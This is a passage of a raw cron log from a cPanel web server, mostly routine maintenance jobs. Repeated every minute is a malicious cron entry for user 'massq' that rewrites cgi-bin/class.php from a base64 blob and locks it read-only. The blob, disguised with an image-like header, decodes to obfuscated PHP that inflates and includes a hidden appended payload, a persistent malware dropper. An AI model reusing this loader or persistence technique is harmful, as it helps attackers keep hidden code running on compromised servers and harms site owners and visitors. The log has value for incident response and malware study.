CovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:17:01 server CROND[4027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:17:01 server CROND[4028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:17:01 server CROND[4029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:18:01 server CROND[4426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:18:01 server CROND[4427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:18:01 server CROND[4428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:19:01 server CROND[4912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:19:01 server CROND[4913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:19:01 server CROND[4914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:20:01 server CROND[5303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:20:01 server CROND[5304]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:20:01 server CROND[5305]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:20:01 server CROND[5312]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 05:20:01 server CROND[5313]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:20:01 server CROND[5316]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:20:01 server CROND[5319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:20:01 server CROND[5322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:20:01 server CROND[5318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:21:01 server CROND[6162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:21:01 server CROND[6163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:21:01 server CROND[6164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:22:01 server CROND[6575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:22:01 server CROND[6576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:22:01 server CROND[6574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:23:01 server CROND[6954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:23:01 server CROND[6956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:23:01 server CROND[6955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:24:01 server CROND[7429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:24:01 server CROND[7430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:24:01 server CROND[7431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:25:01 server CROND[7819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:25:01 server CROND[7820]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:25:01 server CROND[7821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:25:01 server CROND[7831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:25:01 server CROND[7832]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:25:01 server CROND[7833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:25:01 server CROND[7829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:26:01 server CROND[8657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:26:01 server CROND[8658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:26:01 server CROND[8659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:27:01 server CROND[9112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:27:01 server CROND[9114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:27:01 server CROND[9113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:27:01 server CROND[9111]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 05:28:01 server CROND[9613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:28:01 server CROND[9614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:28:01 server CROND[9615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
